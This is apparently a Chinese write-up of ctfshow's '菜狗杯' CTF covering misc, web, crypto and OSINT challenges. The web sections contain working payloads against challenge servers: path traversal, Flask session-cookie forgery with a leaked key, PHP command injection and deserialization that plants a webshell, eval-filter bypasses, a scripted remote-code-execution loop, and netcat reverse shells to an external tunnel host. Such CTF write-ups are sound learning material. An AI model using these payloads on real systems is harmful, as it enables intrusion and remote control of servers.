ctfshow 菜狗杯wp

果然菜狗杯是教育我们是菜狗的,我是从第二天开始做的,这里只做了一个上午,因为下午网没了,做不了,做出来的有点少。。。社工也做出来挺多但是感觉社工的wp感觉就没有啥必要写了

目录

misc

签到题

损坏的压缩包

web

web2 c0me_t0_s1gn

我的眼里只有$

抽老婆

一言既出

驷马难追

TapTapTap

Webshell

化零为整

无一幸免

无一幸免_FIXED

传说之下(雾)

算力超群(后面补的)

算力升级 (后面补的)

easyPytHon_P

遍地飘零

茶歇区 

小舔田?

         LSB探姬(后面补的)

Is_Not_Obfuscate

CRYPTO

密码签到

Caesar

0x36d

@bash

OSINT

J某的过往1 ​编辑


misc

签到题

直接放到winhex中,搜索ctf直接得到flag

损坏的压缩包

这个直接分离就可以,给你一个图片,上面就是flag

web

签到题咱不会。。


web2 c0me_t0_s1gn

f12打开控制台

ctfshow 菜狗杯wp_第1张图片

 这里已经提示了,我们输入这个方法

这里得到了一半flag

然后跟踪过去看到了另一半flag

 好了解决了


我的眼里只有$

 extract的作用相当于是,你传入a=2,则$a=2。

我原本的思路是绕过这么多$,执行别的语句,列如


这个在本地尝试是可以执行的,但是传入_=a||system("dir")却是不行。。

所以就使用正常方法吧

传入_=a&a=b&...............e=eval($_GET[1]);这样往下一直到36个,因为$有36个
可以使用python自带的len函数获取长度

 不过这种推荐写脚本不建议手搞,容易乱还慢

python脚本

a = ""
b = "_"
for i in range(36):
    i = i+1
    a += b*i+"="+b*(i+1)+"&"
    if i == 36:
        a = a+b*i+"=eval($_GET[1]);"
print(a)

php脚本 这个是官方wp的


抽老婆

这个有一些flask框架的应该都能做出来

ctfshow 菜狗杯wp_第2张图片

这里有下载我们要注意

f12这里我们可以知道他是使用file这个参数下载的,我们可以修改一下看看是否存在一些漏洞

/download?file=/../../../../etc/passwd

ctfshow 菜狗杯wp_第3张图片

这里发现存在任意下载漏洞的

再进一步我们尝试下载flag看看

ctfshow 菜狗杯wp_第4张图片

这里应该是进行了过滤

ctfshow 菜狗杯wp_第5张图片

这里我们让他报错一下,看到这里感觉应该是flask框架,所以我们去下载app.py,这个应该是他主要的源码,通常app.py都是在app目录下的,我们往前进两个目录就可以了

/download?file=../../app.py
# !/usr/bin/env python
# -*-coding:utf-8 -*-

"""
# File       : app.py
# Time       :2022/11/07 09:16
# Author     :g4_simon
# version    :python 3.9.7
# Description:抽老婆,哇偶~
"""

from flask import *
import os
import random
from flag import flag

#初始化全局变量
app = Flask(__name__)
app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'

@app.route('/', methods=['GET'])
def index():  
    return render_template('index.html')


@app.route('/getwifi', methods=['GET'])
def getwifi():
    session['isadmin']=False
    wifi=random.choice(os.listdir('static/img'))
    session['current_wifi']=wifi
    return render_template('getwifi.html',wifi=wifi)



@app.route('/download', methods=['GET'])
def source(): 
    filename=request.args.get('file')
    if 'flag' in filename:
        return jsonify({"msg":"你想干什么?"})
    else:
        return send_file('static/img/'+filename,as_attachment=True)


@app.route('/secret_path_U_never_know',methods=['GET'])
def getflag():
    if session['isadmin']:
        return jsonify({"msg":flag})
    else:
        return jsonify({"msg":"你怎么知道这个路径的?不过还好我有身份验证"})



if __name__ == '__main__':
    app.run(host='0.0.0.0',port=80,debug=True)
@app.route('/secret_path_U_never_know',methods=['GET'])
def getflag():
    if session['isadmin']:
        return jsonify({"msg":flag})
    else:
        return jsonify({"msg":"你怎么知道这个路径的?不过还好我有身份验证"})

这里我们知道可以访问/secret_path_U_never_know,然后令isadmin为true就可以了

不过从getwifi()方法我们可以知道isadmin被定义为false,这里我们看一下就知道了

ctfshow 菜狗杯wp_第6张图片

 然后分析cookie

这里估计是进行了加密,感觉是base64,尝试解密一下看看

ctfshow 菜狗杯wp_第7张图片

flask_session_cookie的加密脚本,他上面也给了key

下面这个方法不是我那时候做出来的方法,但是感觉更正确一些,就写这一个方法了。

这里伪造cookie

#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else: # > 3.4
    from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface

class MockApp(object):

    def __init__(self, secret_key):
        self.secret_key = secret_key


if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    class FSCM(metaclass=ABCMeta):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
else: # > 3.4
    class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e


if __name__ == "__main__":
    # Args are only relevant for __main__ usage
    
    ## Description for help
    parser = argparse.ArgumentParser(
                description='Flask Session Cookie Decoder/Encoder',
                epilog="Author : Wilson Sumanang, Alexandre ZANNI")

    ## prepare sub commands
    subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

    ## create the parser for the encode command
    parser_encode = subparsers.add_parser('encode', help='encode')
    parser_encode.add_argument('-s', '--secret-key', metavar='',
                                help='Secret key', required=True)
    parser_encode.add_argument('-t', '--cookie-structure', metavar='',
                                help='Session cookie structure', required=True)

    ## create the parser for the decode command
    parser_decode = subparsers.add_parser('decode', help='decode')
    parser_decode.add_argument('-s', '--secret-key', metavar='',
                                help='Secret key', required=False)
    parser_decode.add_argument('-c', '--cookie-value', metavar='',
                                help='Session cookie value', required=True)

    ## get args
    args = parser.parse_args()

    ## find the option chosen
    if(args.subcommand == 'encode'):
        if(args.secret_key is not None and args.cookie_structure is not None):
            print(FSCM.encode(args.secret_key, args.cookie_structure))
    elif(args.subcommand == 'decode'):
        if(args.secret_key is not None and args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value,args.secret_key))
        elif(args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value))

python flask_session_cookie_manager3.py encode -t "{'isadmin':True}" -s "tanji_is_A_boy_Yooooooooooooooooooooo!"
cookie: session=eyJpc2FkbWluIjp0cnVlfQ.Y3GCCA.kFkoRct0cSapLc4RbeUuEybgZ_M

一言既出

这里我们分析一下代码,通过num传入一串数字,首先要等于114514,之后经过intval函数以后要等于1919810

因为是弱等于我们可以有操作空间

这里我们使用114514+1805296,不过我们要使用url编码一下

?num=114514%2b1805296  //这个是我自己使用的
?num=114514);(19199810
不过看了出题人的wp.....
?num=114514)==1%20or%20system(%27ls%27);%23  这样也行..属实是没想到

这里我们主要用的是弱等于匹配字符就不匹配了,就匹配字符前面的数字,但是intval是全部在里面,他会进行运算的。


驷马难追

这个和上面就加了一个过滤


function check($str){
  return !preg_match("/[a-z]|\;|\(|\)/",$str);
}

使用?num=114514%2b1805296 就可以了

没想到自己想出来的这一个方法把两个都做了,正好是两个都可以的方法。


TapTapTap

ctfshow 菜狗杯wp_第8张图片

 感觉就是让你打点

开始打点的时候f12控制台这里出现了这些,我们跟踪一下

往下看发现了可疑的字符串

ctfshow 菜狗杯wp_第9张图片

解密知道了flag的位置,访问得到flag


Webshell

就是一个简单的序列化

 init();
        }

        public function init() {
            if (!preg_match('/flag/i', $this->cmd)) {
                $this->exec($this->cmd);
            }
        }

        public function exec($cmd) {
            $result = shell_exec($cmd);
            echo $result;
        }
    }

    if(isset($_GET['cmd'])) {
        $serializecmd = $_GET['cmd'];
        $unserializecmd = unserialize($serializecmd);
        $unserializecmd->init();
    }
    else {
        highlight_file(__FILE__);
    }

?> 

 这里我们要注意的是shell_exec是没有回显的,那时候我看他进行了赋值还输出了,以为可以看到回显的,可是没有。

这里我们写一马进去看看

" > 1.php';
}
echo serialize(new Webshell());

注意这里的木马是要加一个\的,因为我要对哪里进行转义,要不然写不了马,这里演示一下

ctfshow 菜狗杯wp_第10张图片

这里是没有进行转义的马,他的里面是空的

ctfshow 菜狗杯wp_第11张图片

这是转义的马,才是可以使用的木马

这里我们传进去

?cmd=O:8:"Webshell":1:{s:3:"cmd";s:40:"echo "" > 1.php";}

ctfshow 菜狗杯wp_第12张图片

这里访问的是出现错误的没关系的

直接用蚁剑连接

ctfshow 菜狗杯wp_第13张图片

flag就在这里


化零为整

1){
        die("你太长了!!");
        }
    else{
    $result=$result.$_GET[$i];
    }
}

if ($result ==="大牛"){
    echo $flag;
}

这里我们分析一下,他这里是进行了一个判断长度的,我们一次只能传一个

我原本使用的是

?1=大&2=牛

这里显示我们  太长了!!

我就进行了一次url加密得到 %E5%A4%A7%E7%89%9B ,忘记了中文url编码后有很多字符

这里我们传url编码后的东西,不用拆的太短,%E5这种就代表一个字符了

?1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B

这样就可以了


无一幸免

这里不知道是不是出题人的问题,只要传东西了,都直接给flag了

?0=


无一幸免_FIXED

 

这里讲解一下,我们通过参数0传入东西,会被当做数组的索引,然后赋值为1,通过判断,我尝试使用字符或者字母,但是发现都没有用,这里猜测,是被当成ascii码了,这样子看似是永远都是真的判断,字母获得flag呢。

这里我们整理一下,字符和字符没有用,那么剩下的数字,还有什么,相信很多人都会想到整数溢出。

这个也是关于整数溢出的,没有看懂可以看下面茶歇区

这里也是要注意int64的取值范围int64 : -9223372036854775808 to 9223372036854775807

首先我们是通过get方式使用参数0传值

传入的值必须在这个范围内,这里用代码说明一下

你会发现这里仅仅只是大了一个1而已,但是他们的输出已经是不一样了,这里我们要知道一个知识点隐式转换,什么是隐式转换,就是当就是当我们赋值的这个数超过它本身这个类型的范围,就会自动变成范围更大的类型,这里就是由整数型变成了浮点型。

//回显
9223372036854775807
9.2233720368548E+18

当然这里是说明一下,和题目也是有一丁点关系吧。

我们使用的是9223372036854775807,这里经过判断的时候,我们看看他是怎么输出的。

//回显
1

...报错...

//既然是报错,可能等于1呢

 所以payload:?0=9223372036854775807   //果然回显也是有报错的


传说之下(雾)

ctfshow 菜狗杯wp_第14张图片

 贪吃蛇,通常这种都和分数是有关系的。

开了一把,用f12拦包没有什么东西,就直接去看看js文件了

ctfshow 菜狗杯wp_第15张图片

这里我们看game.js

直接搜score,就分数

ctfshow 菜狗杯wp_第16张图片

找到和分数相关的了,看看他是那个方法的

ctfshow 菜狗杯wp_第17张图片

Underophidian,我们去搜一下

ctfshow 菜狗杯wp_第18张图片

他在这里被调用了,所以我们直接使用Game就可以了。

ctfshow 菜狗杯wp_第19张图片

这里我们要让游戏开始在搞,然后让蛇在吃到一个苹果就可以了

js不怎么会,反正我思路是这样的,哈哈


算力超群(后面补的)

ctfshow 菜狗杯wp_第20张图片

 拦包发现三个参数,感觉主要应该是number1和number2这两个参数

随便修改一下number2看一下

ctfshow 菜狗杯wp_第21张图片

直接保存,然后我们发现应该是flask的框架,进一步推测我们可以使用一下python的东西,来进行命令执行之类的使用。

修改一下number1发现返回了Error,猜测number1是有过滤的,number2是没有过滤的,尝试直接传入命令进行执行

 ctfshow 菜狗杯wp_第22张图片

这里先使用的是__import__('os').system("dir");这个相当于

ctfshow 菜狗杯wp_第23张图片

__import__('os').system("dir") //发现并没有执行好像

只回显了 这个,猜测是像exec函数那样执行了但是没有回显

 ctfshow 菜狗杯wp_第24张图片

这种我们就使用对付exec函数的方法对付他,这里我们使用花生壳创建一个公网

ctfshow 菜狗杯wp_第25张图片

对应主机8085端口

然后这里先监听端口

ctfshow 菜狗杯wp_第26张图片

这里传入

__import__('os').system("nc 597594c76g.goho.co 59019 -e /bin/sh")

 ctfshow 菜狗杯wp_第27张图片


算力升级 (后面补的)

这个是参考yu22x师傅,这个师傅很厉害的。
这里我之前有点思路,但是到拼接哪里有点断了,来师傅这里考考经。

先进去随便试试,看到旁边有点源码直接进去看看了。
这里发现他是可以传输字母的,但是必须是gmpy2库中的

    code=request.form.get('code')
    for item in pattern.findall(code):#从code里把单词拿出来
        if not re.match(r'\d+$',item):#如果不是数字
            if item not in dir(gmpy2):#逐个和gmpy2库里的函数名比较
               return jsonify({"result":1,"msg":f"你想干什么?{item}不是有效的函数"})
    try:
        result=eval(code)

 我们去gmpy2库中看看

__builtins__应该是有eval的,看一下

用脚本查一下

ctfshow 菜狗杯wp_第28张图片

我们看到是有eval的

但是到这里有点断了,没有想到用拼接,还是参考的yu22x师傅的

这里是利用gmpy2模块的函数进行拼接

例如这样

ctfshow 菜狗杯wp_第29张图片

yu22x师傅是使用

gmpy2.__builtins__['invert'[3]+'invert'[2]+'ai'[0]+'lcm'[0]]('invert'[3]+'invert'[2]+'ai'[0]+'lcm'[0]+'('+'invert'[4]+'invert'[3]+'f2q'[2]+'fsum'[2]+'exp'[0]+'fms'[2]+'isqrt'[-1]+'.'+'ai'[0]+'invert'[4]+'agm'[1]+'fms'[-1]+'["1"])')
gmpy2.__builtins__['eval'](eval(request.args["1"]))
然后用get的方式用1传输__import__('os').popen('ls').read()

官方的wp是使用

gmpy2.__builtins__['erf'[0]+'div'[2]+'ai'[0]+'lcm'[0]]('c_div'[1]+'c_div'[1]+'ai'[1]+'agm'[2]+'cmp'[2]+'cos'[1]+'erf'[1]+'cot'[2]+'c_div'[1]+'c_div'[1]+"("+"'"+'cos'[1]+'cos'[2]+"'"+")"+"."+'cmp'[2]+'cos'[1]+'cmp'[2]+'erf'[0]+'jn'[1]+"("+"'"+'cmp'[0]+'ai'[0]+'cot'[2]+" "+"/"+'erf'[2]+'lcm'[0]+'ai'[0]+'agm'[1]+"'"+")"+"."+'erf'[1]+'erf'[0]+'ai'[0]+'add'[1]+"("+")")
gmpy2.__builtins__['eval'](__import__('os').popen('cat /flag').read())

感觉确实官方的麻烦一点,但是官方提供了一个脚本可以供大家参考

s="__import__('os').popen('cat /flag').read()"

import gmpy2

payload="gmpy2.__builtins__['erf'[0]+'div'[2]+'ai'[0]+'lcm'[0]]("

for i in s:
        if i not in "/'(). ":
                temp_index=0
                temp_string='x'*20
                for j in dir(gmpy2):
                        if j.find(i)>=0:
                                if len(j)

这里我们使用的是 yu22x师傅的方法,注意传输的时候尽量不要使用burpsuite,因为它的+代表空格。

不过这里我还是喜欢用反弹shell,花生壳创建一个公网

ctfshow 菜狗杯wp_第30张图片

ctfshow 菜狗杯wp_第31张图片

然后我们 传输

POST: code=gmpy2.__builtins__['invert'[3]+'invert'[2]+'ai'[0]+'lcm'[0]]('invert'[3]+'invert'[2]+'ai'[0]+'lcm'[0]+'('+'invert'[4]+'invert'[3]+'f2q'[2]+'fsum'[2]+'exp'[0]+'fms'[2]+'isqrt'[-1]+'.'+'ai'[0]+'invert'[4]+'agm'[1]+'fms'[-1]+'["1"])')
GET: /tiesuanzi?1=__import__('os').system('nc 597594c76g.goho.co 59019 -e /bin/sh')
当然这里不喜欢反弹shell,也可以直接使用__import__('os').popen('cat /flag').read()

 


easyPytHon_P

有点后悔为什么没有看这一题,挺简单的没有做

from flask import request
cmd: str = request.form.get('cmd')
param: str = request.form.get('param')
# ------------------------------------- Don't modify ↑ them ↑! But you can write your code ↓
import subprocess, os
if cmd is not None and param is not None:
    try:
        tVar = subprocess.run([cmd[:3], param, __file__], cwd=os.getcwd(), timeout=5)
        print('Done!')
    except subprocess.TimeoutExpired:
        print('Timeout!')
    except:
        print('Error!')
else:
    print('No Flag!')

 这里主要的地方就是

 tVar = subprocess.run([cmd[:3], param, __file__], cwd=os.getcwd(), timeout=5)

因为subprocess模块我没有接触过去查了一下

ctfshow 菜狗杯wp_第32张图片

 这样子,详细大家就比较清楚了,这里可控的参数有cmd和param

注意这里request.form.get,虽然显示是get,但是它并不是get方式传输,是用post传输的

cmd=ls¶m=/    //发现根目录中并没有flag
cmd=ls¶m=.    //查看当前目录发现了flag.txt
cmd=cat¶m=flag.txt  //得到flag

遍地飘零

  $value){
    $$key=$$value;
}

if ($flag=="000000000000000000000000000000"){
    echo "好多零";
}else{
    echo "没有零,仔细看看输入有什么问题吧";
    var_dump($_GET);
}

没有零,仔细看看输入有什么问题吧array(0) { } 

确实是简单的变量覆盖

这里我们可以自己搭一个环境看一下

 ctfshow 菜狗杯wp_第33张图片

我们这里发现$_GET只是输出一个数组,但是我们可以简单的想一想,$_GET也有变量符号呀,我们为什么不能吧$_GET当一个变量呢,而不是一种传输的手段。

这里我们本地环境在测试一下。

ctfshow 菜狗杯wp_第34张图片

 好了这里输出flag了,题目环境也是可以的

?_GET=flag

茶歇区 

这个说实在,我到现在一直还是有一些懵

首先关于整数溢出的漏洞我们要知道这些

uint8: 0 to 255
uint16 : 0 to 65535
uint32 : 0 to 4294967295
uint64 : 0 to 18446744073709551615
int8: -128 to 127
int16 : -32768 to 32767
int32 : -2147483648 to 2147483647
int64 : -9223372036854775808 to 9223372036854775807

 通常我们接触的都是int64,这次应该也是因为这里显示就是int64最大值

ctfshow 菜狗杯wp_第35张图片

 为什么有些表示我输入已经大于9223372036854775807,很多了呀,为什么还是0,这种整数溢出的题目,我接触的其实是比较少的,反正我的理解就是数这个位数的,就是19位的数字,不能太大了,这时候有人问了,我输了19位的比他大为什么还是不行,因为他是*10的我们输入一个18位数就可以了,例如932337203685477580、942337203685477582都可以,记住要输两次就可以了

ctfshow 菜狗杯wp_第36张图片

其他可能是因为,*1导致溢出不了

那个*3也是可以的,只要*3之后大于9223372036854775807就可以了,列如3333333333333333333 都可以

注意:都要输两次


小舔田?

很简单的pop链,甚至所有东西都帮你触发好了。。。

 name;
    }
    
    public function __wakeup(){
        echo "我是".$this->name."快来赏我";
    }
}

class Ion_Fan_Princess{
    public $nickname="牛夫人";

    public function call(){
        global $flag;
        if ($this->nickname=="小甜甜"){
            echo $flag;
        }else{
            echo "以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家".$this->nickname."。\n";
            echo "你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊!\n";
        }
    }
    
    public function __toString(){
        $this->call();
        return "\t\t\t\t\t\t\t\t\t\t----".$this->nickname;
    }
}

if (isset($_GET['code'])){
    unserialize($_GET['code']);

}else{
    $a=new Ion_Fan_Princess();
    echo $a;
}


以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家牛夫人。 你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊! ----牛夫人

我们先看头,是以get方式通过code传入,再看尾在Ion_Fan_Princess类中,call方法中,我只要修改nickname为小甜甜就可以了,然后找一找,call需要下面toString方法触发,然后看看那里可以触发toString,我们发现Moon类中可以触发,然后Moon类中的方法,使用unserialize就可以触发。。。

真的只要稍微改一下东西就可以了,真的感觉出题人好辛苦

 name = new Ion_Fan_Princess();
	}
}

class Ion_Fan_Princess{
    public $nickname="小甜甜";

    public function call(){
        global $flag;
        if ($this->nickname=="小甜甜"){
            echo "1";
        }else{
			echo "2";
        }
    }
    
    public function __toString(){
        $this->call();
        return "\t\t\t\t\t\t\t\t\t\t----".$this->nickname;
    }
}
$a = new Moon();
echo serialize($a);

 ?code=O:4:"Moon":1:{s:4:"name";O:16:"Ion_Fan_Princess":1:{s:8:"nickname";s:9:"小甜甜";}}


 
 

LSB探姬(后面补的)

这里我们先看源码,主要的地方在这里

f = request.files['file']
f.save('upload/'+f.filename)
cmd="python3 tsteg.py upload/"+f.filename
result=os.popen(cmd).read()
data={"code":0,"cmd":cmd,"result":result,"message":"file uploaded!"}
return jsonify(data)

他是会运行这个命令的随便传一个拦一下包看一下

ctfshow 菜狗杯wp_第37张图片

这里是执行了ls,我们直接cat flag

ctfshow 菜狗杯wp_第38张图片


Is_Not_Obfuscate

真的是慢慢补,又忘记了写了。。。

ctfshow 菜狗杯wp_第39张图片

这里我们进来就看到这个,但是经过尝试使用数字字母之类,都没有用,这里看看源代码。

ctfshow 菜狗杯wp_第40张图片 

这里提示让我们提交一个串加密的代码,然后这里我们看到了,两个文件lib.php和robots.txt。
这里访问lib.php但是没有成功,但是访问robots.txt,我们发现了。

这里访问/lib.php?flag=0,但是得到一片空白,但是0是什么,经常做题的,肯定会想到false,这里我们使用1,1其实也是代表true,访问/lib.php?flag=1,得到一串代码。

eJwNkze2o0AABA9EAAI0gmADGGEGEE74DI/w3p1+/wX69euqzpVDJ2a/GkWO4z4QQpnTUq9P5fFd3Uu+YvM2ht+ZXSvYiLXq0o8zaUZ/KSKHeeauPge1HS1rQOaCRvmX5oevKRQajpkc1lMgFhD9uJCH4CSDtZnx8zALzJLhLR2K+WAbhIjf62yY9EFNAfOklJvHScguku8Y5yhtuZSeNGY1vr+NHn6Jn3MYCnm/z9GbI9TH0XZfPPoqqZRrKo48Gdz+odPf29M09uAXmYMftuX5lbIg586dsj8IPGvx3sRUZROiNLXSiM4s1dil6jpvB8cst8uk6ftkZcIF9tF4N0l7mIhew6On6LVPiWk7YaFYcBSI+CLjlUx0heeixgqiWcRtNyHMfs64sx7oVEPY4ZVZg/EmgnR+x6othXTZ2ZGQsEYvRa/U1LaK/4D7Op3ZKrKFnzAs01qSCbbf+P097nH5uUElYiGbytryRvxAe4t1V5PA2dkKlweEANhJ+DU5vzz0+doHA+3opUlU80ol9Ghxas7B3bayW892QCULlB3LuNEEaS2mp1LoXm8dTJAZgM3BGfCHNYbkODF0DqNXrFCMswdFjb9cCnMokKdNZnLUubhW0yA4h807ywaHFZvPxCuG05XdxV6nLiZapgdgHjFpXFbnrwz9LIzLCGMw+F7BHMJPheaGD3faUo71nCiV6QWQu0VW/O2DvG+eubaq5t1a5Y3tYJmti6soht26kuF7jUUg+vZz3guJPIhqEvujvCubvp9WFznqRBETu6RM8yssRUdkXOcelo3bvnM3onXcf9+kQvcSUbuwuEnWHYzn16/ewTo+gVIqv0+DNJC0YUGs9kWnS2+1sAvpdp6qe46VGHNv5Ehm8XNg9SPQyrFYwqRuQZZ/r2muD0WE4G5qRRQ8dnmkgxTVF7Zh61/yvmis14AVf3UwjoHywgVs7MNevg/tCL4JwsgHx6FLo0CANOoThXQcpMmu1ZcY+MB7L5c4S+5arvpFKn/GN4KvCEWYZ+r7inzI+ng3O1T0eaaqFmy63HfCz4xYWYn4PFjC7ukhBJfY7E+fPm6bO7/jSe+2SuGuZ5Crxj8yPiLLA1h61snzuxvqfM0ulqNmp/SzwQLyo5N5HVZEVzMdqY7RiEqT6/FOLji7N/7E3c+8ZLOGGQcDJMM5FARuDOfYyh09+M+I1Hdc+bCze4S0TuOa3j7orHPzP/BLQQLKt6c4cLZ42QbgJwmpowDmVjo/R6dyCuJbWwKGS8BVtzxfh2YhYu+r1n7mrY7nPTxszI6w/TWAErJEBVZwXlj33RDqfi+u45uVP292vZOCDP0RHKuVL20QeMwhqsY47fQ7ZuLeKP/9+w8pT7oT 

 这里我们得到这样一串加密后的东西,但是不知道是什么,看似是有一些像base64的,但是这里想起来上面他们是可以通过input传入一串加密的字符串的,在主页面拦包或者使用hackber的时候,就会发现他有三个参数,action、input、output,这里我们通过input传进去发现没有东西,修改其他参数的时候,反弹回来了hacker。

这时候就有一些懵逼了,之后去查看了官方的wp,额,action要设置成test,这个怎么说,真的就靠猜吗。。。。

然后我们得到了源代码。

header("Content-Type:text/html;charset=utf-8");
include 'lib.php';
if(!is_dir('./plugins/')){
    @mkdir('./plugins/', 0777);
}
//Test it and delete it !!!
//测试执行加密后的插件代码
if($_GET['action'] === 'test') {
    echo 'Anything is good?Please test it.';
    @eval(decode($_GET['input']));
}

ini_set('open_basedir', './plugins/');
if(!empty($_GET['action'])){
    switch ($_GET['action']){
        case 'pull':
            $output = @eval(decode(file_get_contents('./plugins/'.$_GET['input'])));
            echo "pull success";
            break;
        case 'push':
            $input = file_put_contents('./plugins/'.md5($_GET['output'].'youyou'), encode($_GET['output']));
            echo "push success";
            break;
        default:
            die('hacker!');
    }
}

这里我们分析一下

主要是看下嘛,因为他是有可以执行恶意代码的地方的,通过观察这里当action为push的时候这里会将传入的东西进行加密,然后写入一个文件,文件就是加密名。

加密就是例如这样我们要执行system("ls"); 然后加密就是这样解密的

echo md5('system("ls");'.'youyou');

然后为pull的时候就会解密里面的内容然后执行恶意代码,获得flag。

 通过不懈的努力,我最终选择了写脚本。。。因为手搞有点乱了。。。

import requests
import hashlib
import re


def getflag(comant):
    payload = f"system('{comant}');"
    payload_sale = hashlib.md5((payload + "youyou").encode()).hexdigest()

    s = requests.session()
    url = "http://c08ff946-dc88-458f-8889-5cd70375829c.challenge.ctf.show/"
    # 这里要替换成自己的网址
    url2 = url + f'?action=push&output={payload}'
    url1 = url + f"?action=pull&input={payload_sale}"

    s.get(url=url2)
    a = s.get(url=url1).text
    b = (re.findall('\w.*?pull', a, re.S)[0]).replace('pull', '')
    print(b)


if __name__ == "__main__":
    while (1):
        a = input("请输入你要执行的命令:")
        getflag(a)

 ctfshow 菜狗杯wp_第41张图片

OK,获得了flag


 

CRYPTO

感觉密码学前三题白送的

密码签到

唯一会做的签到题,这才是签到题呀,直接16进制转文本

ctfshow 菜狗杯wp_第42张图片

 

Caesar

这个名字就是提示了呀,名字都是凯撒了。。

ctfshow 菜狗杯wp_第43张图片


 
 

0x36d

一看就知道是那种表情包解密,然后表情包解密,他这里提示标题就是密码

ctfshow 菜狗杯wp_第44张图片

但是解密失败,但是0x36d是16进制呀

ctfshow 菜狗杯wp_第45张图片

使用877解密成功


@bash

感觉和buu一题还是攻防世界的一题挺像的,我们直接埃特巴什码解密

ctfshow 菜狗杯wp_第46张图片

这里小写提交不了的,用python转成大写


OSINT

 社工就讲一题吧,这个有jk看嘿嘿

J某的过往1 ctfshow 菜狗杯wp_第47张图片

像这种图就别想着用百度识图之类的了,不过这里提示已经很多了

ctfshow 菜狗杯wp_第48张图片

半次元是一个网站,可以搜到的

ctfshow 菜狗杯wp_第49张图片

 这个找不到我们搜索,天竹子

往下翻

ctfshow 菜狗杯wp_第50张图片

有了

ctfshow 菜狗杯wp_第51张图片

看看评论

哦了

你可能感兴趣的:(CTF,python,flask,学习,经验分享,后端)